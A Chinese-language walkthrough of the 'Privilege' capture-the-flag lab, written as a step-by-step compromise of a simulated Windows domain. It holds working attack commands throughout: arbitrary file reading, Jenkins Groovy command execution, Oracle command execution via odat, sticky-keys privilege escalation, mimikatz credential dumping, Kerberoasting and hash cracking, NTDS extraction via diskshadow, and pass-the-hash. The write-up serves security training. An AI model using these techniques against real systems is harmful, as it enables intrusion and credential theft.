春秋云镜 Privilege
上来先用fscan扫一下.
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
39.98.114.164:80 open
39.98.114.164:8080 open
39.98.114.164:135 open
39.98.114.164:139 open
39.98.114.164:3306 open
[*] alive ports len is: 5
start vulscan
[*] NetInfo
[*]39.98.114.164
[->]XR-JENKINS
[->]172.22.14.7
[*] WebTitle http://39.98.114.164 code:200 len:54689 title:XR SHOP
[*] WebTitle http://39.98.114.164:8080 code:403 len:548 title:None
80一个wordpress,8080一个jenkins,80扫目录发现www.zip,下下来审计一下.
发现tools目录下有两个逆天的文件.
phpinfo.php
<?php phpinfo();?>
content-log.php(D盾没扫出来)
<?php
$logfile = rawurldecode( $_GET['logfile'] );
// Make sure the file is exist.
if ( file_exists( $logfile ) ) {
// Get the content and echo it.
$text = file_get_contents( $logfile );
echo( $text );
}
exit;
第一个文件泄露环境,第二个文件导致任意文件读取.由于使用的是windows server,直接猜测是phpstudy搭的,有管理员权限,尝试读取flag.
http://39.98.114.164/tools/content-log.php?logfile=C:/Users/Administrator/flag/flag01.txt
flag:flag{f3d2c982-67b0-4b20-aa6d-0f10d89ddd43}
由于靶场存在提示
并且,管理员在配置 Jenkins 时,仍然选择了使用初始管理员密码,请尝试读取该密码并获取 Jenkins 服务器权限。Jenkins 配置目录为 C:\ProgramData\Jenkins\.jenkins。
尝试读取管理员的初始密码
http://39.98.114.164/tools/content-log.php?logfile=C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword
510235cf43f14e83b88a9f144199655b
后台登录
jenkins后台存在groovy的在线编译器
注意接下来的步骤开着梯子走不通,因为走代理拿不到crumb,会被判定为csrf攻击.
由于权限高,所以可以直接执行命令
println "net user lbzc Lbz12345 /add".execute().text
println "net localgroup administrators lbzc /add".execute().text
由于不知道计算机对于密码配置策略的要求,所以设置用户名和密码的时候一定要看到命令成功完成回显.
rdp上线.起个nps代理,传个fscan去扫内网.
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
(icmp) Target 172.22.14.7 is alive
(icmp) Target 172.22.14.11 is alive
(icmp) Target 172.22.14.16 is alive
(icmp) Target 172.22.14.31 is alive
(icmp) Target 172.22.14.46 is alive
[*] Icmp alive hosts len is: 5
172.22.14.7:445 open
172.22.14.31:139 open
172.22.14.46:139 open
172.22.14.11:139 open
172.22.14.31:135 open
172.22.14.46:135 open
172.22.14.7:139 open
172.22.14.11:135 open
172.22.14.7:135 open
172.22.14.11:88 open
172.22.14.16:8060 open
172.22.14.46:445 open
172.22.14.31:445 open
172.22.14.11:445 open
172.22.14.46:80 open
172.22.14.16:80 open
172.22.14.7:8080 open
172.22.14.7:80 open
172.22.14.16:22 open
172.22.14.7:3306 open
172.22.14.31:1521 open
172.22.14.16:9094 open
[*] alive ports len is: 22
start vulscan
[*] NetInfo
[*]172.22.14.7
[->]XR-JENKINS
[->]172.22.14.7
[*] NetInfo
[*]172.22.14.11
[->]XR-DC
[->]172.22.14.11
[*] NetInfo
[*]172.22.14.31
[->]XR-ORACLE
[->]172.22.14.31
[*] NetInfo
[*]172.22.14.46
[->]XR-0923
[->]172.22.14.46
[*] WebTitle http://172.22.14.7:8080 code:403 len:548 title:None
[*] NetBios 172.22.14.11 [+] DC:XIAORANG\XR-DC
[*] NetBios 172.22.14.46 XIAORANG\XR-0923
[*] NetBios 172.22.14.31 WORKGROUP\XR-ORACLE
[*] WebTitle http://172.22.14.16:8060 code:404 len:555 title:404 Not Found
[*] WebTitle http://172.22.14.46 code:200 len:703 title:IIS Windows Server
[*] WebTitle http://172.22.14.7 code:200 len:54603 title:XR SHOP
[*] WebTitle http://172.22.14.16 code:302 len:99 title:None 跳转url: http://172.22.14.16/users/sign_in
[*] WebTitle http://172.22.14.16/users/sign_in code:200 len:34961 title:Sign in · GitLab
[+] PocScan http://172.22.14.7/www.zip poc-yaml-backup-file
存在如下主机
172.22.14.7 本机
172.22.14.46 XIAORANG\XR-0923(域内机器)
172.22.14.11 XR-DC 域控
172.22.14.31 XR-ORACLE
172.22.14.16 GitLab
第二关内容如下
管理员为 Jenkins 配置了 Gitlab,请尝试获取 Gitlab API Token,并最终获取 Gitlab 中的敏感仓库。获取敏感信息后,尝试连接至 Oracle 数据库,并获取 ORACLE 服务器控制权限。
去读C:/ProgramData/Jenkins/.jenkins/credentials.xml
<?xml version='1.1' encoding='UTF-8'?>
<com.cloudbees.plugins.credentials.SystemCredentialsProvider plugin="credentials@1214.v1de940103927">
<domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
<entry>
<com.cloudbees.plugins.credentials.domains.Domain>
<specifications/>
</com.cloudbees.plugins.credentials.domains.Domain>
<java.util.concurrent.CopyOnWriteArrayList>
<com.dabsquared.gitlabjenkins.connection.GitLabApiTokenImpl plugin="gitlab-plugin@1.6.0">
<scope>GLOBAL</scope>
<id>9eca4a05-e058-4810-b952-bd6443e6d9a8</id>
<description></description>
<apiToken>{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}</apiToken>
</com.dabsquared.gitlabjenkins.connection.GitLabApiTokenImpl>
</java.util.concurrent.CopyOnWriteArrayList>
</entry>
</domainCredentialsMap>
</com.cloudbees.plugins.credentials.SystemCredentialsProvider>
找到的apiToken是加密过的,去jenkins的groovy script中进行一次解密
println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())
得到了明文glpat-7kD_qLH2PiQv_ywB9hz2
访问url:http://172.22.14.16/api/v4/projects
,并携带token:PRIVATE-TOKEN: glpat-7kD_qLH2PiQv_ywB9hz2
发现一共有5个项目,分别为Internal Secret,XRAdmin,Awenode,XRWiki,Monitoring.
分别把他们clone下来,使用的命令如下
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xradmin.git
在xradmin/ruoyi-admin/src/main/resources/application-druid.yml
中找到了Oracle的账号密码.
# 数据源配置
spring:
datasource:
type: com.alibaba.druid.pool.DruidDataSource
driverClassName: oracle.jdbc.driver.OracleDriver
druid:
# 主库数据源
master:
url: jdbc:oracle:thin:@172.22.14.31:1521/orcl
username: xradmin
password: fcMyE8t9E4XdsKf
# 从库数据源
slave:
# 从数据源开关/默认关闭
enabled: false
url:
username:
password:
# 初始连接数
initialSize: 5
# 最小连接池数量
minIdle: 10
# 最大连接池数量
maxActive: 20
# 配置获取连接等待超时的时间
maxWait: 60000
# 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒
timeBetweenEvictionRunsMillis: 60000
# 配置一个连接在池中最小生存的时间,单位是毫秒
minEvictableIdleTimeMillis: 300000
# 配置一个连接在池中最大生存的时间,单位是毫秒
maxEvictableIdleTimeMillis: 900000
# 配置检测连接是否有效
validationQuery: SELECT 1 FROM DUAL
testWhileIdle: true
testOnBorrow: false
testOnReturn: false
webStatFilter:
enabled: true
statViewServlet:
enabled: true
# 设置白名单,不填则允许所有访问
allow:
url-pattern: /druid/*
# 控制台管理用户名和密码
login-username:
login-password:
filter:
stat:
enabled: true
# 慢SQL记录
log-slow-sql: true
slow-sql-millis: 1000
merge-sql: true
wall:
config:
multi-statement-allow: true
MDUT能连上,但是执行命令和读文件都报错.
直接使用odat去执行命令.
proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user lbzc Lbz12345 /add'
proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup administrators lbzc /add'
rdp上去,成功拿到flag
flag:flag{e631877f-7945-4564-9af6-ece9a25a9217}
另外在Internal Secret中存在credentials.txt,里面存储着大量的用户名和密码
找到XR-0923:XR-0923 | zhangshuai | wSbEajHzZs
,rdp登陆.
发现zhangshuai是Remote Management User组成员.
直接使用evil-winrm登录
proxychains evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs
发现存在SeRestorePrivilege特权.
可以打一个修改注册表,进行类似注册表提权的攻击.然而用tsclient的打法报错.
说明这里的SeRestorePrivilege并没有权限修改注册表,尝试修改文件名,进行粘滞键提权.
ren sethc.exe sethc.bak
ren cmd.exe sethc.exe
回到锁屏界面按5下shift,成功提权.拿到了第三个flag
flag:flag{6976c5ee-4056-4f7a-82cd-30283eb0b3cf}
创个管理员账号上去.
net user LBZ Lbz12345! /add
net localgroup administrators LBZ /add
上个mimitakz去抓一下密码.突然发现cmd.exe没做备份,恢复不了了.对付用吧...
mimitakz
privilege::debug
sekurlsa::logonpasswords
使用抓取到的机器账户的ntlm去查询SPN
8519c5a89b2cd4d679a5a36f26863e5d
使用机器账户的ntlm去枚举SPN
proxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':2db8b6a4d945068a4fd5bb65d33fe280' -dc-ip 172.22.14.11
抓一下tianjing的哈希
proxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':2db8b6a4d945068a4fd5bb65d33fe280' -dc-ip 172.22.14.11 -request-user tianjing
使用hashcat爆破
hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force
结果为tianjing/DPQSXSXgh2
这用户也是Remote Management User成员,因此可以直接evil-winrm上线DC
proxychains evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2
发现开启了SeBackupPrivilege,可以卷影拷贝然后读sam配合注册表的system得哈希.
本地创一个raj.dsh,写入
set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:
然后使用unix2dos raj.dsh
将换行转换为windows格式.
回到域控,在C的根目录创建一个test目录(确保权限问题),然后上传raj.dsh
mkdir test
cd test
upload raj.dsh
卷影拷贝sam表
diskshadow /s raj.dsh
复制文件到当前目录(RoboCopy相当于增强的copy),并下载sam表
RoboCopy /b z:\windows\ntds . ntds.dit
download ntds.dit
最后转存并下载system
reg save HKLM\SYSTEM system
download system
对ntds.dit和system进行本地解密
impacket-secretsdump -ntds ntds.dit -system system local
得到了域管理员的ntlm,pth即可.
proxychains crackmapexec smb 172.22.14.11 -u administrator -H70c39b547b7d8adec35ad7c09fb1d277 -d xiaorang.lab -x "type C:\\Users\Administrator\flag\f*"
flag:flag{01ee24c8-e844-402a-ab14-fd4bbfaefb6e}
共用时3小时15分,这次打SeBackupPrivilege就打成了.回顾了一下之前Thermal Power失败的原因,似乎想明白了.rdp上去以后用户属于Back Operators组,但是没被赋予SeBackupPrivilege权限,需要我去赋予权限,并开启权限才能进行sam表转储.